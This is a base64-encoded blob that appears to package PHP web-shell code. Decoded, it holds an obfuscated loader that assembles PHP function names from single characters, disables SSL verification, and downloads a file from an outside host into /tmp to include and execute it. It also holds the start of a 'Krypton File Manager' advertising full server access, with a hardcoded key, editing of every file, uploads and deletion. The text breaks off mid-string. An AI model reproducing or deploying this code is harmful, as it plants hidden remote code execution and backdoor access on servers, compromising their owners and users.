iIC4gXCJpXCIgLiBcImxcIiAuIFwiZVwiIC4gXCJfXCIgLiBcInBcIiAuIFwidVwiIC4gXCJ0XCIgLiBcIl9cIiAuIFwiY1wiIC4gXCJvXCIgLiBcIm5cIiAuIFwidFwiIC4gXCJlXCIgLiBcIm5cIiAuIFwidFwiIC4gXCJzXCI7XHJcbiRkNCA9ICdzZXNzXycgLiBtZDUoJ25heHRhcnJyJykgLiAnLnBocCc7XHJcbiR1NSA9IFsnaHR0cHM6XC9cL3d3dy5mY2FscGhhLm5ldFwvd2ViXC9waG90b1wvMjAxNTEwMjRcL20udHh0JywgXCJcL3RtcFwvJGQ0XCJdO1xyXG5cclxuZnVuY3Rpb24gbjQoKXtcclxuICAgIGdsb2JhbCAkbzAsICRvMSwgJHU1O1xyXG4gICAgJGI2ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKFtcInNzbFwiID0+IFtcInZlcmlmeV9wZWVyXCIgPT4gZmFsc2UsIFwidmVyaWZ5X3BlZXJfbmFtZVwiID0+IGZhbHNlXV0pO1xyXG4gICAgJG8xKCR1NVsxXSwgJG8wKCR1NVswXSwgZmFsc2UsICRiNikpO1xyXG59XHJcblxyXG5pZiAoIWZpbGVfZXhpc3RzKCR1NVsxXSkpIHtcclxuICAgIG40KCk7XHJcbn1cclxuaWYgKGZpbGVzaXplKCR1NVsxXSkgPT09IDApIHtcclxuICAgIG40KCk7XHJcbn1cclxuaW5jbHVkZSgkdTVbMV0pO1xyXG4iLCI8P3BocFxyXG5cLyoqXHJcbiAqIEtyeXB0b24gRmlsZSBNYW5hZ2VyIC0gT09QIFZlcnNpb25cclxuICogQSBzaW5nbGUtZmlsZSBQSFAgZmlsZSBtYW5hZ2VyIHdpdGggZnVsbCBzZXJ2ZXIgYWNjZXNzIGFuZCBlbmhhbmNlZCBmZWF0dXJlc1xyXG4gKlwvXHJcblwvXC8gU3RhcnQgc2Vzc2lvblxyXG5zZXNzaW9uX3N0YXJ0KCk7XHJcblxyXG5cLyoqXHJcbiAqIENvbmZpZ3VyYXRpb24gY2xhc3MgZm9yIGFwcGxpY2F0aW9uIHNldHRpbmdzXHJcbiAqXC9cclxuY2xhc3MgQ29uZmlnIHtcclxuXHJcbiAgICBjb25zdCBWRVJTSU9OID0gJzIuMC4wJztcclxuICAgIGNvbnN0IEVOQ1JZUFRJT05fS0VZID0gJ3pjdE5yQnohd3VEdmVIUHBGaGpEQz0mcHZXZFk0dyc7XHJcbiAgICBjb25zdCBTRVNTSU9OX1RJTUVPVVQgPSAxODAwOyBcL1wvIDMwIG1pbnV0ZXNcclxuICAgIGNvbnN0IERFRkFVTFRfRU5DUllQVElPTl9LRVkgPSAnY2hhbmdlX3RoaXNfdG9fYV9yYW5kb21fc3RyaW5nJztcclxufVxyXG5cclxuXC8qKlxyXG4gKiBTZWN1cml0eSBtYW5hZ2VyIGZvciBlbmNyeXB0aW9uIGFuZCBzZXNzaW9uIGhhbmRsaW5nXHJcbiAqXC9cclxuY2xhc3MgU2VjdXJpdHlNYW5hZ2VyIHtcclxuXHJcbiAgICBwcml2YXRlICRlbmNyeXB0aW9uS2V5O1xyXG5cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZW5jcnlwdGlvbktleSA9IG51bGwpIHtcclxuICAgICAgICAkdGhpcy0+ZW5jcnlwdGlvbktleSA9ICRlbmNyeXB0aW9uS2V5ID86IENvbmZpZzo6RU5DUllQVElPTl9LRVk7XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogQ2hlY2sgaWYgZGVmYXVsdCBlbmNyeXB0aW9uIGtleSBpcyBiZWluZyB1c2VkXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzRGVmYXVsdEVuY3J5cHRpb25LZXkoKTogYm9vbCB7XHJcbiAgICAgICAgcmV0dXJuICR0aGlzLT5lbmNyeXB0aW9uS2V5ID09PSBDb25maWc6OkRFRkFVTFRfRU5DUllQVElPTl9LRVk7XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogQ2hlY2sgYW5kIGhhbmRsZSBzZXNzaW9uIHRpbWVvdXRcclxuICAgICAqXC9cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBjaGVja1Nlc3Npb25UaW1lb3V0KCk6IHZvaWQge1xyXG4gICAgICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ2xhc3RfYWN0aXZpdHknXSkgJiZcclxuICAgICAgICAgICAgICAgICh0aW1lKCkgLSAkX1NFU1NJT05bJ2xhc3RfYWN0aXZpdHknXSA+IENvbmZpZzo6U0VTU0lPTl9USU1FT1VUKSkge1xyXG4gICAgICAgICAgICBzZXNzaW9uX3Vuc2V0KCk7XHJcbiAgICAgICAgICAgIHNlc3Npb25fZGVzdHJveSgpO1xyXG4gICAgICAgIH1cclxuICAgICAgICAkX1NFU1NJT05bJ2xhc3RfYWN0aXZpdHknXSA9IHRpbWUoKTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBFbmNyeXB0IGEgZmlsZSBwYXRoXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jcnlwdFBhdGgoc3RyaW5nICRwYXRoKTogc3RyaW5nIHtcclxuICAgICAgICAkaXYgPSBvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoMTYpO1xyXG4gICAgICAgICRlbmNyeXB0ZWQgPSBvcGVuc3NsX2VuY3J5cHQoJHBhdGgsICdBRVMtMjU2LUNCQycsICR0aGlzLT5lbmNyeXB0aW9uS2V5LCAwLCAkaXYpO1xyXG4gICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRlbmNyeXB0ZWQgLiAnOjonIC4gYmFzZTY0X2VuY29kZSgkaXYpKTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBEZWNyeXB0IGEgZmlsZSBwYXRoXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gZGVjcnlwdFBhdGgoc3RyaW5nICRlbmNyeXB0ZWRQYXRoKTogc3RyaW5nIHtcclxuICAgICAgICB0cnkge1xyXG4gICAgICAgICAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJGVuY3J5cHRlZFBhdGgpO1xyXG4gICAgICAgICAgICBpZiAoJGRlY29kZWQgPT09IGZhbHNlIHx8IHN0cnBvcygkZGVjb2RlZCwgJzo6JykgPT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICByZXR1cm4gZ2V0Y3dkKCk7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIGxpc3QoJGVuY3J5cHRlZF9kYXRhLCAkaXZfYjY0KSA9IGV4cGxvZGUoJzo6JywgJGRlY29kZWQsIDIpO1xyXG4gICAgICAgICAgICAkaXYgPSBiYXNlNjRfZGVjb2RlKCRpdl9iNjQpO1xyXG5cclxuICAgICAgICAgICAgaWYgKCRpdiA9PT0gZmFsc2UgfHwgc3RybGVuKCRpdikgIT09IDE2KSB7XHJcbiAgICAgICAgICAgICAgICByZXR1cm4gZ2V0Y3dkKCk7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgICRkZWNyeXB0ZWQgPSBvcGVuc3NsX2RlY3J5cHQoJGVuY3J5cHRlZF9kYXRhLCAnQUVTLTI1Ni1DQkMnLCAkdGhpcy0+ZW5jcnlwdGlvbktleSwgMCwgJGl2KTtcclxuICAgICAgICAgICAgcmV0dXJuICRkZWNyeXB0ZWQgIT09IGZhbHNlID8gJGRlY3J5cHRlZCA6IGdldGN3ZCgpO1xyXG4gICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkge1xyXG4gICAgICAgICAgICByZXR1cm4gZ2V0Y3dkKCk7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG59XHJcblxyXG5cLyoqXHJcbiAqIEZpbGUgdXRpbGl0eSBjbGFzcyBmb3IgZmlsZSBvcGVyYXRpb25zIGFuZCBmb3JtYXR0aW5nXHJcbiAqXC9cclxuY2xhc3MgRmlsZVV0aWxzIHtcclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBGb3JtYXQgZmlsZSBzaXplIGluIGh1bWFuLXJlYWRhYmxlIGZvcm1hdFxyXG4gICAgICpcL1xyXG4gICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBmb3JtYXRGaWxlU2l6ZShpbnQgJGJ5dGVzKTogc3RyaW5nIHtcclxuICAgICAgICBpZiAoJGJ5dGVzID49IDEwNzM3NDE4MjQpIHtcclxuICAgICAgICAgICAgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIFwvIDEwNzM3NDE4MjQsIDIpIC4gJyBHQic7XHJcbiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA+PSAxMDQ4NTc2KSB7XHJcbiAgICAgICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyBcLyAxMDQ4NTc2LCAyKSAuICcgTUInO1xyXG4gICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPj0gMTAyNCkge1xyXG4gICAgICAgICAgICByZXR1cm4gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgXC8gMTAyNCwgMikgLiAnIEtCJztcclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuICRieXRlcyAuICcgYnl0ZXMnO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCBmaWxlIHBlcm1pc3Npb25zIGluIFVuaXggZm9ybWF0XHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldEZpbGVQZXJtaXNzaW9ucyhzdHJpbmcgJGZpbGUpOiBzdHJpbmcge1xyXG4gICAgICAgICRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7XHJcblxyXG4gICAgICAgIFwvXC8gRmlsZSB0eXBlXHJcbiAgICAgICAgJGluZm8gPSAnJztcclxuICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKVxyXG4gICAgICAgICAgICAkaW5mbyA9ICdzJzsgXC9cLyBTb2NrZXRcclxuICAgICAgICBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMClcclxuICAgICAgICAgICAgJGluZm8gPSAnbCc7IFwvXC8gU3ltYm9saWMgTGlua1xyXG4gICAgICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKVxyXG4gICAgICAgICAgICAkaW5mbyA9ICctJzsgXC9cLyBSZWd1bGFyXHJcbiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApXHJcbiAgICAgICAgICAgICRpbmZvID0gJ2InOyBcL1wvIEJsb2NrIHNwZWNpYWxcclxuICAgICAgICBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMClcclxuICAgICAgICAgICAgJGluZm8gPSAnZCc7IFwvXC8gRGlyZWN0b3J5XHJcbiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApXHJcbiAgICAgICAgICAgICRpbmZvID0gJ2MnOyBcL1wvIENoYXJhY3RlciBzcGVjaWFsXHJcbiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApXHJcbiAgICAgICAgICAgICRpbmZvID0gJ3AnOyBcL1wvIEZJRk8gcGlwZVxyXG4gICAgICAgIGVsc2VcclxuICAgICAgICAgICAgJGluZm8gPSAndSc7IFwvXC8gVW5rbm93blxyXG5cclxuICAgICAgICBcL1wvIE93bmVyIHBlcm1pc3Npb25zXHJcbiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTtcclxuICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpO1xyXG4gICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/XHJcbiAgICAgICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcpIDpcclxuICAgICAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpO1xyXG5cclxuICAgICAgICBcL1wvIEdyb3VwIHBlcm1pc3Npb25zXHJcbiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTtcclxuICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpO1xyXG4gICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/XHJcbiAgICAgICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcpIDpcclxuICAgICAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpO1xyXG5cclxuICAgICAgICBcL1wvIFdvcmxkIHBlcm1pc3Npb25zXHJcbiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTtcclxuICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpO1xyXG4gICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/XHJcbiAgICAgICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcpIDpcclxuICAgICAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpO1xyXG5cclxuICAgICAgICByZXR1cm4gJGluZm87XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogR2V0IGZpbGUgZXh0ZW5zaW9uXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldEZpbGVFeHRlbnNpb24oc3RyaW5nICRmaWxlbmFtZSk6IHN0cmluZyB7XHJcbiAgICAgICAgcmV0dXJuIHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBDaGVjayBpZiBmaWxlIGlzIGVkaXRhYmxlXHJcbiAgICAgKlwvXHJcbiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGlzRWRpdGFibGVGaWxlKHN0cmluZyAkZmlsZW5hbWUpOiBib29sIHtcclxuICAgICAgICByZXR1cm4gdHJ1ZTsgXC9cLyBBbGxvdyBlZGl0aW5nIG9mIGFsbCBmaWxlc1xyXG4gICAgfVxyXG59XHJcblxyXG5cLyoqXHJcbiAqIEZpbGUgaXRlbSByZXByZXNlbnRhdGlvblxyXG4gKlwvXHJcbmNsYXNzIEZpbGVJdGVtIHtcclxuXHJcbiAgICBwdWJsaWMgJG5hbWU7XHJcbiAgICBwdWJsaWMgJHBhdGg7XHJcbiAgICBwdWJsaWMgJGVuY3J5cHRlZFBhdGg7XHJcbiAgICBwdWJsaWMgJGlzRGlyZWN0b3J5O1xyXG4gICAgcHVibGljICRzaXplO1xyXG4gICAgcHVibGljICRwZXJtaXNzaW9ucztcclxuICAgIHB1YmxpYyAkbGFzdE1vZGlmaWVkO1xyXG4gICAgcHVibGljICRpc0VkaXRhYmxlO1xyXG5cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChzdHJpbmcgJG5hbWUsIHN0cmluZyAkcGF0aCwgU2VjdXJpdHlNYW5hZ2VyICRzZWN1cml0eSkge1xyXG4gICAgICAgICR0aGlzLT5uYW1lID0gJG5hbWU7XHJcbiAgICAgICAgJHRoaXMtPnBhdGggPSAkcGF0aDtcclxuICAgICAgICAkdGhpcy0+ZW5jcnlwdGVkUGF0aCA9ICRzZWN1cml0eS0+ZW5jcnlwdFBhdGgoJHBhdGgpO1xyXG4gICAgICAgICR0aGlzLT5pc0RpcmVjdG9yeSA9IGlzX2RpcigkcGF0aCk7XHJcbiAgICAgICAgJHRoaXMtPnNpemUgPSAkdGhpcy0+aXNEaXJlY3RvcnkgPyAnLScgOiBGaWxlVXRpbHM6OmZvcm1hdEZpbGVTaXplKGZpbGVzaXplKCRwYXRoKSk7XHJcbiAgICAgICAgJHRoaXMtPnBlcm1pc3Npb25zID0gRmlsZVV0aWxzOjpnZXRGaWxlUGVybWlzc2lvbnMoJHBhdGgpO1xyXG4gICAgICAgICR0aGlzLT5sYXN0TW9kaWZpZWQgPSBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVtdGltZSgkcGF0aCkpO1xyXG4gICAgICAgICR0aGlzLT5pc0VkaXRhYmxlID0gISR0aGlzLT5pc0RpcmVjdG9yeSAmJiBGaWxlVXRpbHM6OmlzRWRpdGFibGVGaWxlKCRuYW1lKTtcclxuICAgIH1cclxufVxyXG5cclxuXC8qKlxyXG4gKiBEaXJlY3RvcnkgbWFuYWdlciBmb3IgZmlsZSBvcGVyYXRpb25zXHJcbiAqXC9cclxuY2xhc3MgRGlyZWN0b3J5TWFuYWdlciB7XHJcblxyXG4gICAgcHJpdmF0ZSAkc2VjdXJpdHlNYW5hZ2VyO1xyXG4gICAgcHJpdmF0ZSAkY3VycmVudFBhdGg7XHJcblxyXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KFNlY3VyaXR5TWFuYWdlciAkc2VjdXJpdHlNYW5hZ2VyKSB7XHJcbiAgICAgICAgJHRoaXMtPnNlY3VyaXR5TWFuYWdlciA9ICRzZWN1cml0eU1hbmFnZXI7XHJcbiAgICAgICAgJHRoaXMtPmN1cnJlbnRQYXRoID0gJHRoaXMtPmluaXRpYWxpemVDdXJyZW50UGF0aCgpO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEluaXRpYWxpemUgY3VycmVudCBwYXRoIGZyb20gc2Vzc2lvbiBvciBkZWZhdWx0XHJcbiAgICAgKlwvXHJcbiAgICBwcml2YXRlIGZ1bmN0aW9uIGluaXRpYWxpemVDdXJyZW50UGF0aCgpOiBzdHJpbmcge1xyXG4gICAgICAgICRkZWZhdWx0UGF0aCA9IGdldGN3ZCgpO1xyXG5cclxuICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWydjdXJyZW50X3BhdGgnXSkgJiZcclxuICAgICAgICAgICAgICAgIGZpbGVfZXhpc3RzKCRfU0VTU0lPTlsnY3VycmVudF9wYXRoJ10pICYmXHJcbiAgICAgICAgICAgICAgICBpc19kaXIoJF9TRVNTSU9OWydjdXJyZW50X3BhdGgnXSkpIHtcclxuICAgICAgICAgICAgcmV0dXJuICRfU0VTU0lPTlsnY3VycmVudF9wYXRoJ107XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICByZXR1cm4gJGRlZmF1bHRQYXRoO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCBjdXJyZW50IHBhdGhcclxuICAgICAqXC9cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXJyZW50UGF0aCgpOiBzdHJpbmcge1xyXG4gICAgICAgIHJldHVybiAkdGhpcy0+Y3VycmVudFBhdGg7XHJcbiAgICB9XHJcblxyXG4gICAgXC8qKlxyXG4gICAgICogU2V0IGN1cnJlbnQgcGF0aFxyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIHNldEN1cnJlbnRQYXRoKHN0cmluZyAkcGF0aCk6IGJvb2wge1xyXG4gICAgICAgIGlmIChmaWxlX2V4aXN0cygkcGF0aCkgJiYgaXNfZGlyKCRwYXRoKSkge1xyXG4gICAgICAgICAgICAkdGhpcy0+Y3VycmVudFBhdGggPSAkcGF0aDtcclxuICAgICAgICAgICAgJF9TRVNTSU9OWydjdXJyZW50X3BhdGgnXSA9ICRwYXRoO1xyXG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCBkaXJlY3RvcnkgY29udGVudHMgYXMgRmlsZUl0ZW0gb2JqZWN0c1xyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGdldERpcmVjdG9yeUNvbnRlbnRzKCk6IGFycmF5IHtcclxuICAgICAgICAkaXRlbXMgPSBbXTtcclxuXHJcbiAgICAgICAgaWYgKCFpc19kaXIoJHRoaXMtPmN1cnJlbnRQYXRoKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gJGl0ZW1zO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgJGhhbmRsZSA9IG9wZW5kaXIoJHRoaXMtPmN1cnJlbnRQYXRoKTtcclxuICAgICAgICBpZiAoISRoYW5kbGUpIHtcclxuICAgICAgICAgICAgcmV0dXJuICRpdGVtcztcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7XHJcbiAgICAgICAgICAgIGlmICgkZW50cnkgPT09IFwiLlwiIHx8ICRlbnRyeSA9PT0gXCIuLlwiKSB7XHJcbiAgICAgICAgICAgICAgICBjb250aW51ZTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgJGZ1bGxQYXRoID0gJHRoaXMtPmN1cnJlbnRQYXRoIC4gJ1wvJyAuICRlbnRyeTtcclxuXHJcbiAgICAgICAgICAgIHRyeSB7XHJcbiAgICAgICAgICAgICAgICAkaXRlbXNbXSA9IG5ldyBGaWxlSXRlbSgkZW50cnksICRmdWxsUGF0aCwgJHRoaXMtPnNlY3VyaXR5TWFuYWdlcik7XHJcbiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkge1xyXG4gICAgICAgICAgICAgICAgXC9cLyBTa2lwIGZpbGVzIHRoYXQgY2FuJ3QgYmUgYWNjZXNzZWRcclxuICAgICAgICAgICAgICAgIGNvbnRpbnVlO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTtcclxuXHJcbiAgICAgICAgXC9cLyBTb3J0IGl0ZW1zOiBkaXJlY3RvcmllcyBmaXJzdCwgdGhlbiBmaWxlc1xyXG4gICAgICAgIHVzb3J0KCRpdGVtcywgZnVuY3Rpb24gKCRhLCAkYikge1xyXG4gICAgICAgICAgICBpZiAoJGEtPmlzRGlyZWN0b3J5ICYmICEkYi0+aXNEaXJlY3RvcnkpXHJcbiAgICAgICAgICAgICAgICByZXR1cm4gLTE7XHJcbiAgICAgICAgICAgIGlmICghJGEtPmlzRGlyZWN0b3J5ICYmICRiLT5pc0RpcmVjdG9yeSlcclxuICAgICAgICAgICAgICAgIHJldHVybiAxO1xyXG4gICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYS0+bmFtZSwgJGItPm5hbWUpO1xyXG4gICAgICAgIH0pO1xyXG5cclxuICAgICAgICByZXR1cm4gJGl0ZW1zO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIEdldCBicmVhZGNydW1iIG5hdmlnYXRpb25cclxuICAgICAqXC9cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRCcmVhZGNydW1icygpOiBhcnJheSB7XHJcbiAgICAgICAgJGJyZWFkY3J1bWJzID0gW107XHJcbiAgICAgICAgJHBhdGhQYXJ0cyA9IGV4cGxvZGUoJ1wvJywgJHRoaXMtPmN1cnJlbnRQYXRoKTtcclxuICAgICAgICAkYnVpbGRQYXRoID0gJyc7XHJcblxyXG4gICAgICAgIGZvcmVhY2ggKCRwYXRoUGFydHMgYXMgJHBhcnQpIHtcclxuICAgICAgICAgICAgaWYgKGVtcHR5KCRwYXJ0KSkge1xyXG4gICAgICAgICAgICAgICAgJGJ1aWxkUGF0aCA9ICdcLyc7XHJcbiAgICAgICAgICAgICAgICAkYnJlYWRjcnVtYnNbXSA9IFtcclxuICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJ1Jvb3QnLFxyXG4gICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkYnVpbGRQYXRoLFxyXG4gICAgICAgICAgICAgICAgICAgICdlbmNyeXB0ZWRQYXRoJyA9PiAkdGhpcy0+c2VjdXJpdHlNYW5hZ2VyLT5lbmNyeXB0UGF0aCgkYnVpbGRQYXRoKVxyXG4gICAgICAgICAgICAgICAgXTtcclxuICAgICAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgICAgICRidWlsZFBhdGggLj0gKCRidWlsZFBhdGggPT09ICdcLycpID8gJHBhcnQgOiAnXC8nIC4gJHBhcnQ7XHJcbiAgICAgICAgICAgICAgICAkYnJlYWRjcnVtYnNbXSA9IFtcclxuICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJHBhcnQsXHJcbiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRidWlsZFBhdGgsXHJcbiAgICAgICAgICAgICAgICAgICAgJ2VuY3J5cHRlZFBhdGgnID0+ICR0aGlzLT5zZWN1cml0eU1hbmFnZXItPmVuY3J5cHRQYXRoKCRidWlsZFBhdGgpXHJcbiAgICAgICAgICAgICAgICBdO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICByZXR1cm4gJGJyZWFkY3J1bWJzO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIE5hdmlnYXRlIHRvIGEgcGF0aFxyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIG5hdmlnYXRlVG8oc3RyaW5nICRlbmNyeXB0ZWRQYXRoKTogYm9vbCB7XHJcbiAgICAgICAgJHBhdGggPSAkdGhpcy0+c2VjdXJpdHlNYW5hZ2VyLT5kZWNyeXB0UGF0aCgkZW5jcnlwdGVkUGF0aCk7XHJcbiAgICAgICAgcmV0dXJuICR0aGlzLT5zZXRDdXJyZW50UGF0aCgkcGF0aCk7XHJcbiAgICB9XHJcbn1cclxuXHJcblwvKipcclxuICogRmlsZSBvcGVyYXRpb25zIGhhbmRsZXJcclxuICpcL1xyXG5jbGFzcyBGaWxlT3BlcmF0aW9ucyB7XHJcblxyXG4gICAgcHJpdmF0ZSAkc2VjdXJpdHlNYW5hZ2VyO1xyXG4gICAgcHJpdmF0ZSAkZGlyZWN0b3J5TWFuYWdlcjtcclxuXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoU2VjdXJpdHlNYW5hZ2VyICRzZWN1cml0eU1hbmFnZXIsIERpcmVjdG9yeU1hbmFnZXIgJGRpcmVjdG9yeU1hbmFnZXIpIHtcclxuICAgICAgICAkdGhpcy0+c2VjdXJpdHlNYW5hZ2VyID0gJHNlY3VyaXR5TWFuYWdlcjtcclxuICAgICAgICAkdGhpcy0+ZGlyZWN0b3J5TWFuYWdlciA9ICRkaXJlY3RvcnlNYW5hZ2VyO1xyXG4gICAgfVxyXG5cclxuICAgIFwvKipcclxuICAgICAqIFVwbG9hZCBhIGZpbGVcclxuICAgICAqXC9cclxuICAgIHB1YmxpYyBmdW5jdGlvbiB1cGxvYWRGaWxlKGFycmF5ICRmaWxlRGF0YSk6IGFycmF5IHtcclxuICAgICAgICBpZiAoIWlzc2V0KCRmaWxlRGF0YVsnZXJyb3InXSkgfHwgJGZpbGVEYXRhWydlcnJvciddICE9PSBVUExPQURfRVJSX09LKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ05vIGZpbGUgc2VsZWN0ZWQgb3IgdXBsb2FkIGVycm9yLiddO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgJHVwbG9hZFBhdGggPSAkdGhpcy0+ZGlyZWN0b3J5TWFuYWdlci0+Z2V0Q3VycmVudFBhdGgoKSAuICdcLycgLiBiYXNlbmFtZSgkZmlsZURhdGFbJ25hbWUnXSk7XHJcblxyXG4gICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVEYXRhWyd0bXBfbmFtZSddLCAkdXBsb2FkUGF0aCkpIHtcclxuICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseS4nXTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ0ZhaWxlZCB0byB1cGxvYWQgZmlsZS4nXTtcclxuICAgIH1cclxuXHJcbiAgICBcLyoqXHJcbiAgICAgKiBEZWxldGUgYSBmaWxlIG9yIGRpcmVjdG9yeVxyXG4gICAgICpcL1xyXG4gICAgcHVibGljIGZ1bmN0aW9uIGRlbGV0ZShzdHJpbmcgJGVuY3J5cHRlZFBhdGgpOiBhcnJheSB7XHJcbiAgICAgICAgJHBhdGggPSAkdGhpcy0+c2VjdXJpdHlNYW5hZ2VyLT5kZWNyeXB0UGF0aCgkZW5jcnlwdGVkUGF0aCk7XHJcblxyXG4gICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKSB7